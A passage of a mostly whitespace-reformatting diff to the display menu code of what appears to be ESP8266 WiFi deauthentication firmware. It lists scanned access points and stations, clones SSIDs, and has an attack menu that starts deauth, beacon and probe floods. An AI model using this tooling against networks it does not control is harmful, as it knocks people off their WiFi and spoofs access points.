addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP + scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = SCREEN_MODE_LOADSCAN; + }); + addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST + scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = SCREEN_MODE_LOADSCAN; + }); }); - addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP - scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel); - mode = SCREEN_MODE_LOADSCAN; - }); - addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST - scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel); - mode = SCREEN_MODE_LOADSCAN; - }); - }); - // SHOW MENU - createMenu(&showMenu, &mainMenu, [this]() { - addMenuNode(&showMenu, []() { // Accesspoints 0 [0] - return buildString(str(D_ACCESSPOINTS),(String)accesspoints.count(),CHARS_PER_LINE); - }, &apListMenu); - addMenuNode(&showMenu, []() { // Stations 0 [0] - return buildString(str(D_STATIONS),(String)stations.count(),CHARS_PER_LINE); - }, &stationListMenu); - addMenuNode(&showMenu, []() { // Names 0 [0] - return buildString(str(D_NAMES),(String)names.count(),CHARS_PER_LINE); - }, &nameListMenu); - addMenuNode(&showMenu, []() { // SSIDs 0 - return buildString(str(D_SSIDS),(String)ssids.count(),CHARS_PER_LINE); - }, &ssidListMenu); - }); + // SHOW MENU + createMenu(&showMenu, &mainMenu, [this]() { + addMenuNode(&showMenu, []() { // Accesspoints 0 [0] + return buildString(str(D_ACCESSPOINTS), (String)accesspoints.count(), CHARS_PER_LINE); + }, &apListMenu); + addMenuNode(&showMenu, []() { // Stations 0 [0] + return buildString(str(D_STATIONS), (String)stations.count(), CHARS_PER_LINE); + }, &stationListMenu); + addMenuNode(&showMenu, []() { // Names 0 [0] + return buildString(str(D_NAMES), (String)names.count(), CHARS_PER_LINE); + }, &nameListMenu); + addMenuNode(&showMenu, []() { // SSIDs 0 + return buildString(str(D_SSIDS), (String)ssids.count(), CHARS_PER_LINE); + }, &ssidListMenu); + }); - // AP LIST MENU - createMenu(&apListMenu, &showMenu, [this]() { - // add APs to list - int c = accesspoints.count(); - for (int i = 0; i < c; i++) { - addMenuNode(&apListMenu, [i]() { - return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i); - }, [this, i]() { - accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i); - }, [this, i](){ - selectedID = i; - changeMenu(&apMenu); - }); - } - addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL - accesspoints.selectAll(); - changeMenu(&apListMenu); - }); - addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL - accesspoints.deselectAll(); - changeMenu(&apListMenu); - }); - addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL - accesspoints.removeAll(); - goBack(); - }); - }); + // AP LIST MENU + createMenu(&apListMenu, &showMenu, [this]() { + // add APs to list + int c = accesspoints.count(); - // STATION LIST MENU - createMenu(&stationListMenu, &showMenu, [this]() { - // add stations to list - int c = stations.count(); - for (int i = 0; i < c; i++) { - addMenuNode(&stationListMenu, [i]() { - return b2a(stations.getSelected(i)) + (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i)); - }, [this, i]() { - stations.getSelected(i) ? stations.deselect(i) : stations.select(i); - }, [this, i]() { - selectedID = i; - changeMenu(&stationMenu); - }); - } - - addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL - stations.selectAll(); - changeMenu(&stationListMenu); + for (int i = 0; i < c; i++) { + addMenuNode(&apListMenu, [i]() { + return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i); + }, [this, i]() { + accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&apMenu); + }); + } + addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + accesspoints.selectAll(); + changeMenu(&apListMenu); + }); + addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + accesspoints.deselectAll(); + changeMenu(&apListMenu); + }); + addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + accesspoints.removeAll(); + goBack(); + }); }); - addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL - stations.deselectAll(); - changeMenu(&stationListMenu); - }); - addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL - stations.removeAll(); - goBack(); - }); - }); - // NAME LIST MENU - createMenu(&nameListMenu, &showMenu, [this]() { - // add device names to list - int c = names.count(); - for (int i = 0; i < c; i++) { - addMenuNode(&nameListMenu, [i]() { - return names.getSelectedStr(i) + names.getName(i); - }, [this, i]() { - names.getSelected(i) ? names.deselect(i) : names.select(i); - }, [this, i]() { - selectedID = i; - changeMenu(&nameMenu); - }); - } - addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL - names.selectAll(); - changeMenu(&nameListMenu); - }); - addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL - names.deselectAll(); - changeMenu(&nameListMenu); - }); - addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL - names.removeAll(); - goBack(); - }); - }); + // STATION LIST MENU + createMenu(&stationListMenu, &showMenu, [this]() { + // add stations to list + int c = stations.count(); - // SSID LIST MENU - createMenu(&ssidListMenu, &showMenu, [this]() { - addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs - ssids.cloneSelected(true); - changeMenu(&ssidListMenu); - ssids.save(false); - }); - addMenuNode(&ssidListMenu, [this](){ - return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE - }, [this]() { - if(ssids.getRandom()) ssids.disableRandom(); - else ssids.enableRandom(10); - changeMenu(&ssidListMenu); - }); - - // add ssids to list - int c = ssids.count(); - for (int i = 0; i < c; i++) { - addMenuNode(&ssidListMenu, [i]() { - return ssids.getName(i).substring(0, ssids.getLen(i)); - }, [this, i]() { - selectedID = i; - changeMenu(&ssidMenu); - }, [this, i]() { - ssids.remove(i); - changeMenu(&ssidListMenu); - ssidListMenu.selected = i; - }); - } + for (int i = 0; i < c; i++) { + addMenuNode(&stationListMenu, [i]() { + return b2a(stations.getSelected(i)) + + (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i)); + }, [this, i]() { + stations.getSelected(i) ? stations.deselect(i) : stations.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&stationMenu); + }); + } - addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL - ssids.removeAll(); - goBack(); + addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + stations.selectAll(); + changeMenu(&stationListMenu); + }); + addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + stations.deselectAll(); + changeMenu(&stationListMenu); + }); + addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + stations.removeAll(); + goBack(); + }); }); - }); - // AP MENU - createMenu(&apMenu, &apListMenu, [this]() { - addMenuNode(&apMenu, [this]() { - return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // * - }, [this]() { - accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); - }); - addMenuNode(&apMenu, [this]() { - return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID); - }, NULL); // Encryption: -/WPA2 - addMenuNode(&apMenu, [this]() { - return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID); - }, NULL); // RSSI: -90 - addMenuNode(&apMenu, [this]() { - return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID); - }, NULL); // Channel: 11 - addMenuNode(&apMenu, [this]() { - return accesspoints.getMacStr(selectedID); - }, NULL); // 00:11:22:00:11:22 - addMenuNode(&apMenu, [this]() { - return str(D_VENDOR) + accesspoints.getVendorStr(selectedID); - }, NULL); // Vendor: INTEL - addMenuNode(&apMenu, [this]() { - return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT - }, [this]() { - accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); - }); - addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE - ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true); - changeMenu(&showMenu); - ssids.save(false); - }); - addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE - accesspoints.remove(selectedID); - apListMenu.list->remove(apListMenu.selected); - goBack(); - }); - }); + // NAME LIST MENU + createMenu(&nameListMenu, &showMenu, [this]() { + // add device names to list + int c = names.count(); - // STATION MENU - createMenu(&stationMenu, &stationListMenu, [this]() { - addMenuNode(&stationMenu, [this]() { - return stations.getSelectedStr(selectedID) + (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // - }, [this]() { - stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + for (int i = 0; i < c; i++) { + addMenuNode(&nameListMenu, [i]() { + return names.getSelectedStr(i) + names.getName(i); + }, [this, i]() { + names.getSelected(i) ? names.deselect(i) : names.select(i); + }, [this, i]() { + selectedID = i; + changeMenu(&nameMenu); + }); + } + addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL + names.selectAll(); + changeMenu(&nameListMenu); + }); + addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL + names.deselectAll(); + changeMenu(&nameListMenu); + }); + addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + names.removeAll(); + goBack(); + }); }); - addMenuNode(&stationMenu, [this]() { - return stations.getMacStr(selectedID); - }, NULL); // 00:11:22:00:11:22 - addMenuNode(&stationMenu, [this]() { - return str(D_VENDOR) + stations.getVendorStr(selectedID); - }, NULL); // Vendor: INTEL - addMenuNode(&stationMenu, [this]() { - return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP - }, [this]() { - int apID = accesspoints.find(stations.getAP(selectedID)); - if(apID >= 0){ - selectedID = apID; - changeMenu(&apMenu); - } - }); - addMenuNode(&stationMenu, [this]() { - return str(D_PKTS) + String(*stations.getPkts(selectedID)); - }, NULL); // Pkts: 12 - addMenuNode(&stationMenu, [this]() { - return str(D_CHANNEL) + String(stations.getCh(selectedID)); - }, NULL); // Channel: 11 - addMenuNode(&stationMenu, [this]() { - return str(D_SEEN) + stations.getTimeStr(selectedID); - }, NULL); // Seen: <1min - addMenuNode(&stationMenu, [this]() { - return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT - }, [this]() { - stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); - }); - addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE - stations.remove(selectedID); - stationListMenu.list->remove(stationListMenu.selected); - goBack(); - }); - }); + // SSID LIST MENU + createMenu(&ssidListMenu, &showMenu, [this]() { + addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs + ssids.cloneSelected(true); + changeMenu(&ssidListMenu); + ssids.save(false); + }); + addMenuNode(&ssidListMenu, [this]() { + return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE + }, [this]() { + if (ssids.getRandom()) ssids.disableRandom(); + else ssids.enableRandom(10); + changeMenu(&ssidListMenu); + }); - // NAME MENU - createMenu(&nameMenu, &nameListMenu, [this]() { - addMenuNode(&nameMenu, [this]() { - return names.getSelectedStr(selectedID) + names.getName(selectedID); // - }, [this]() { - names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); - }); - addMenuNode(&nameMenu, [this]() { - return names.getMacStr(selectedID); - }, NULL); // 00:11:22:00:11:22 - addMenuNode(&nameMenu, [this]() { - return str(D_VENDOR) + names.getVendorStr(selectedID); - }, NULL); // Vendor: INTEL - addMenuNode(&nameMenu, [this]() { - return str(D_AP) + names.getBssidStr(selectedID); - }, NULL); // AP: 00:11:22:00:11:22 - addMenuNode(&nameMenu, [this]() { - return str(D_CHANNEL) + (String)names.getCh(selectedID); - }, NULL); // Channel: 11 + // add ssids to list + int c = ssids.count(); - addMenuNode(&nameMenu, [this]() { - return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT - }, [this]() { - names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); - }); - addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE - names.remove(selectedID); - nameListMenu.list->remove(nameListMenu.selected); - goBack(); - }); - }); + for (int i = 0; i < c; i++) { + addMenuNode(&ssidListMenu, [i]() { + return ssids.getName(i).substring(0, ssids.getLen(i)); + }, [this, i]() { + selectedID = i; + changeMenu(&ssidMenu); + }, [this, i]() { + ssids.remove(i); + changeMenu(&ssidListMenu); + ssidListMenu.selected = i; + }); + } - // SSID MENU - createMenu(&ssidMenu, &ssidListMenu, [this]() { - addMenuNode(&ssidMenu, [this]() { - return ssids.getName(selectedID).substring(0,ssids.getLen(selectedID)); - }, NULL); // SSID - addMenuNode(&ssidMenu, [this]() { - return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2 - }, [this]() { - ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID)); + addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL + ssids.removeAll(); + goBack(); + }); }); - addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE - ssids.remove(selectedID); - ssidListMenu.list->remove(ssidListMenu.selected); - goBack(); - }); - }); - // ATTACK MENU - createMenu(&attackMenu, &mainMenu, [this]() { - addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0 - if(attack.isRunning()) return buildString(b2a(deauthSelected) + str(D_DEAUTH), (String)attack.getDeauthPkts() + SLASH + (String)attack.getDeauthMaxPkts(), CHARS_PER_LINE); - else return buildString(b2a(deauthSelected) + str(D_DEAUTH) , (String)scan.countSelected(), CHARS_PER_LINE); - }, [this]() { // deauth - deauthSelected = !deauthSelected; - if (attack.isRunning()) { - attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000); - } + // AP MENU + createMenu(&apMenu, &apListMenu, [this]() { + addMenuNode(&apMenu, [this]() { + return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // * + }, [this]() { + accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); + }); + addMenuNode(&apMenu, [this]() { + return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID); + }, NULL); // Encryption: -/WPA2 + addMenuNode(&apMenu, [this]() { + return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID); + }, NULL); // RSSI: -90 + addMenuNode(&apMenu, [this]() { + return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID); + }, NULL); // Channel: 11 + addMenuNode(&apMenu, [this]() { + return accesspoints.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&apMenu, [this]() { + return str(D_VENDOR) + accesspoints.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&apMenu, [this]() { + return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID); + }); + addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE + ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true); + changeMenu(&showMenu); + ssids.save(false); + }); + addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE + accesspoints.remove(selectedID); + apListMenu.list->remove(apListMenu.selected); + goBack(); + }); }); - addMenuNode(&attackMenu, [this]() { // *BEACON 0/0 - if(attack.isRunning()) return buildString(b2a(beaconSelected) + str(D_BEACON), (String)attack.getBeaconPkts() + SLASH + (String)attack.getBeaconMaxPkts(), CHARS_PER_LINE); - else return buildString(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), CHARS_PER_LINE); - }, [this]() { // beacon - beaconSelected = !beaconSelected; - if (attack.isRunning()) { - attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000); - } - }); - addMenuNode(&attackMenu, [this]() { // *PROBE 0/0 - if(attack.isRunning()) return buildString(b2a(probeSelected) + str(D_PROBE), (String)attack.getProbePkts() + SLASH + (String)attack.getProbeMaxPkts(), CHARS_PER_LINE); - else return buildString(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), CHARS_PER_LINE); - }, [this]() { // probe - probeSelected = !probeSelected; - if (attack.isRunning()) { - attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000); - } - }); - addMenuNode(&attackMenu, []() { // START - return buildString(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK), attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), CHARS_PER_LINE); - }, [this]() { - if (attack.isRunning()) attack.stop(); - else attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000); - }); - }); - // ===================== // + // STATION MENU + createMenu(&stationMenu, &stationListMenu, [this]() { + addMenuNode(&stationMenu, [this]() { + return stations.getSelectedStr(selectedID) + + (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // + }, [this]() { + stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + }); + addMenuNode(&stationMenu, [this]() { + return stations.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&stationMenu, [this]() { + return str(D_VENDOR) + stations.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&stationMenu, [this]() { + return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP + }, [this]() { + int apID = accesspoints.find(stations.getAP(selectedID)); - // set current menu to main menu - changeMenu(&mainMenu); - enabled = true; - startTime = currentTime; + if (apID >= 0) { + selectedID = apID; + changeMenu(&apMenu); + } + }); + addMenuNode(&stationMenu, [this]() { + return str(D_PKTS) + String(*stations.getPkts(selectedID)); + }, NULL); // Pkts: 12 + addMenuNode(&stationMenu, [this]() { + return str(D_CHANNEL) + String(stations.getCh(selectedID)); + }, NULL); // Channel: 11 + addMenuNode(&stationMenu, [this]() { + return str(D_SEEN) + stations.getTimeStr(selectedID); + }, NULL); // Seen: <1min + + addMenuNode(&stationMenu, [this]() { + return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID); + }); + addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE + stations.remove(selectedID); + stationListMenu.list->remove(stationListMenu.selected); + goBack(); + }); + }); + + // NAME MENU + createMenu(&nameMenu, &nameListMenu, [this]() { + addMenuNode(&nameMenu, [this]() { + return names.getSelectedStr(selectedID) + names.getName(selectedID); // + }, [this]() { + names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); + }); + addMenuNode(&nameMenu, [this]() { + return names.getMacStr(selectedID); + }, NULL); // 00:11:22:00:11:22 + addMenuNode(&nameMenu, [this]() { + return str(D_VENDOR) + names.getVendorStr(selectedID); + }, NULL); // Vendor: INTEL + addMenuNode(&nameMenu, [this]() { + return str(D_AP) + names.getBssidStr(selectedID); + }, NULL); // AP: 00:11:22:00:11:22 + addMenuNode(&nameMenu, [this]() { + return str(D_CHANNEL) + (String)names.getCh(selectedID); + }, NULL); // Channel: 11 + + addMenuNode(&nameMenu, [this]() { + return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT + }, [this]() { + names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID); + }); + addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE + names.remove(selectedID); + nameListMenu.list->remove(nameListMenu.selected); + goBack(); + }); + }); + + // SSID MENU + createMenu(&ssidMenu, &ssidListMenu, [this]() { + addMenuNode(&ssidMenu, [this]() { + return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID)); + }, NULL); // SSID + addMenuNode(&ssidMenu, [this]() { + return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2 + }, [this]() { + ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID)); + }); + addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE + ssids.remove(selectedID); + ssidListMenu.list->remove(ssidListMenu.selected); + goBack(); + }); + }); + + // ATTACK MENU + createMenu(&attackMenu, &mainMenu, [this]() { + addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0 + if (attack.isRunning()) return buildString(b2a(deauthSelected) + str(D_DEAUTH), + (String)attack.getDeauthPkts() + SLASH + + (String)attack.getDeauthMaxPkts(), CHARS_PER_LINE); + else return buildString(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), CHARS_PER_LINE); + }, [this]() { // deauth + deauthSelected = !deauthSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // *BEACON 0/0 + if (attack.isRunning()) return buildString(b2a(beaconSelected) + str(D_BEACON), + (String)attack.getBeaconPkts() + SLASH + + (String)attack.getBeaconMaxPkts(), CHARS_PER_LINE); + else return buildString(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), CHARS_PER_LINE); + }, [this]() { // beacon + beaconSelected = !beaconSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, [this]() { // *PROBE 0/0 + if (attack.isRunning()) return buildString(b2a(probeSelected) + str(D_PROBE), + (String)attack.getProbePkts() + SLASH + + (String)attack.getProbeMaxPkts(), CHARS_PER_LINE); + else return buildString(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), CHARS_PER_LINE); + }, [this]() { // probe + probeSelected = !probeSelected; + + if (attack.isRunning()) { + attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + } + }); + addMenuNode(&attackMenu, []() { // START + return buildString(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK), + attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), CHARS_PER_LINE); + }, [this]() { + if (attack.isRunning()) attack.stop(); + else attack.start(beaconSelected, deauthSelected, false, probeSelected, true, + settings.getAttackTimeout() * 1000); + }); + }); + + // ===================== // + + // set current menu to main menu + changeMenu(&mainMenu); + enabled = true; + startTime = currentTime; } void DisplayUI::update() { - if (!enabled) return; + if (!enabled) return; - // when display is off - if (mode == SCREEN_MODE_OFF) { - if (updateButton(&buttonA)){ - on(); - buttonA.hold = true; // to make sure you don't double click - } - } - - else { - // timeout to save display life - if (mode == SCREEN_MODE_MENU && settings.getDisplayTimeout() > 0 && currentTime > settings.getDisplayTimeout() * 1000) { - uint32_t buttonTimeout = currentTime - settings.getDisplayTimeout() * 1000; - if (buttonUp.time < buttonTimeout - && buttonDown.time < buttonTimeout - && buttonLeft.time < buttonTimeout - && buttonRight.time < buttonTimeout - && buttonA.time < buttonTimeout - && buttonB.time < buttonTimeout) { - off(); - } + // when display is off + if (mode == SCREEN_MODE_OFF) { + if (updateButton(&buttonA)) { + on(); + buttonA.hold = true; // to make sure you don't double click + } } - // only one button can be pressed at a time - if (updateButton(&buttonB)) draw(); - else if (updateButton(&buttonA)) draw(); - else if (updateButton(&buttonUp)) draw(); - else if (updateButton(&buttonDown)) draw(); - else if (updateButton(&buttonLeft)) draw(); - else if (updateButton(&buttonRight)) draw(); - else draw(); - } + else { + // timeout to save display life + if ((mode == SCREEN_MODE_MENU) && (settings.getDisplayTimeout() > 0) && + (currentTime > settings.getDisplayTimeout() * 1000)) { + uint32_t buttonTimeout = currentTime - settings.getDisplayTimeout() * 1000; + + if ((buttonUp.time < buttonTimeout) + && (buttonDown.time < buttonTimeout) + && (buttonLeft.time < buttonTimeout) + && (buttonRight.time < buttonTimeout) + && (buttonA.time < buttonTimeout) + && (buttonB.time < buttonTimeout)) { + off(); + } + } + + // only one button can be pressed at a time + if (updateButton(&buttonB)) draw(); + else if (updateButton(&buttonA)) draw(); + else if (updateButton(&buttonUp)) draw(); + else if (updateButton(&buttonDown)) draw(); + else if (updateButton(&buttonLeft)) draw(); + else if (updateButton(&buttonRight)) draw(); + else draw(); + } } void DisplayUI::draw() { - if (currentTime - drawTime > DRAW_INTERVAL && currentMenu) { - drawTime = currentTime; + if ((currentTime - drawTime > DRAW_INTERVAL) && currentMenu) { + drawTime = currentTime; - // ===== adjustable ===== // - display.clear(); // clear display - display.setTextAlignment(TEXT_ALIGN_LEFT); // reset text alignment just in case ;) - // ====================== // + // ===== adjustable ===== // + display.clear(); // clear display + display.setTextAlignment(TEXT_ALIGN_LEFT); // reset text alignment just in case ;) + // ====================== // - switch (mode) { - case SCREEN_MODE_BUTTON_TEST: - drawButtonTest(); - break; - case SCREEN_MODE_MENU: - drawMenu(); - break; - case SCREEN_MODE_LOADSCAN: - drawLoadingScan(); - break; - case SCREEN_MODE_PACKETMONITOR: - drawPacketMonitor(); - break; - case SCREEN_MODE_INTRO: - if(currentTime - startTime >= SCREEN_INTRO_TIME){ - mode = SCREEN_MODE_MENU; + switch (mode) { + case SCREEN_MODE_BUTTON_TEST: + drawButtonTest(); + break; + + case SCREEN_MODE_MENU: + drawMenu(); + break; + + case SCREEN_MODE_LOADSCAN: + drawLoadingScan(); + break; + + case SCREEN_MODE_PACKETMONITOR: + drawPacketMonitor(); + break; + + case SCREEN_MODE_INTRO: + + if (currentTime - startTime >= SCREEN_INTRO_TIME) { + mode = SCREEN_MODE_MENU; + } + drawIntro(); + break; } - drawIntro(); - break; - } - // ===== adjustable ===== // - display.display(); // draw changes - // ====================== // - } + // ===== adjustable ===== // + display.display(); // draw changes + // ====================== // + } } void DisplayUI::drawString(int x, int y, String str) { - // ===== adjustable ===== // - display.drawString(x, y, replaceUtf8(str,String(QUESTIONMARK))); - // ====================== // + // ===== adjustable ===== // + display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK))); + // ====================== // } void DisplayUI::drawButtonTest() { - // ===== adjustable ===== // - if(buttonUp.enabled) display.drawString(0, 0, str(D_UP) + b2s(buttonUp.pushed)); - if(buttonDown.enabled) display.drawString(0, 9, str(D_DOWN) + b2s(buttonDown.pushed)); - if(buttonLeft.enabled) display.drawString(0, 18, str(D_LEFT) + b2s(buttonLeft.pushed)); - if(buttonRight.enabled) display.drawString(0, 27, str(D_RIGHT) + b2s(buttonRight.pushed)); - if(buttonA.enabled) display.drawString(0, 36, str(D_A) + b2s(buttonA.pushed)); - if(buttonB.enabled) display.drawString(0, 45, str(D_B) + b2s(buttonB.pushed)); - // ====================== // + // ===== adjustable ===== // + if (buttonUp.enabled) display.drawString(0, 0, str(D_UP) + b2s(buttonUp.pushed)); + + if (buttonDown.enabled) display.drawString(0, 9, str(D_DOWN) + b2s(buttonDown.pushed)); + + if (buttonLeft.enabled) display.drawString(0, 18, str(D_LEFT) + b2s(buttonLeft.pushed)); + + if (buttonRight.enabled) display.drawString(0, 27, str(D_RIGHT) + b2s(buttonRight.pushed)); + + if (buttonA.enabled) display.drawString(0, 36, str(D_A) + b2s(buttonA.pushed)); + + if (buttonB.enabled) display.drawString(0, 45, str(D_B) + b2s(buttonB.pushed)); + // ====================== // } void DisplayUI::drawMenu() { - String tmp; - int tmpLen; - int row = (currentMenu->selected / 5) * 5; + String tmp; + int tmpLen; + int row = (currentMenu->selected / 5) * 5; - // correct selected if it's off - if (currentMenu->selected < 0) currentMenu->selected = 0; - else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1; + // correct selected if it's off + if (currentMenu->selected < 0) currentMenu->selected = 0; + else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1; - // draw menu entries - for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) { - tmp = currentMenu->list->get(i).getStr(); - tmpLen = tmp.length(); + // draw menu entries + for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) { + tmp = currentMenu->list->get(i).getStr(); + tmpLen = tmp.length(); - // horizontal scrolling - if (currentMenu->selected == i && tmpLen > CHARS_PER_LINE) { - tmp = tmp.substring(scrollCounter / SCROLL_SPEED); - scrollCounter++; - if (scrollCounter / SCROLL_SPEED > tmpLen - CHARS_PER_LINE) scrollCounter = 0; + // horizontal scrolling + if ((currentMenu->selected == i) && (tmpLen > CHARS_PER_LINE)) { + tmp = tmp.substring(scrollCounter / SCROLL_SPEED); + scrollCounter++; + + if (scrollCounter / SCROLL_SPEED > tmpLen - CHARS_PER_LINE) scrollCounter = 0; + } + + tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp; + drawString(0, (i - row) * 12, tmp); } - - tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp; - drawString(0, (i - row) * 12, tmp); - } } void DisplayUI::drawLoadingScan() { - // ===== adjustable ===== // - if (scan.isScanning()) { - if(scan.isSniffing()){ // Scanning for Stations - display.drawString(2, 0, buildString(str(D_LOADING_SCREEN_0), (String)scan.getPercentage() + PERCENT, 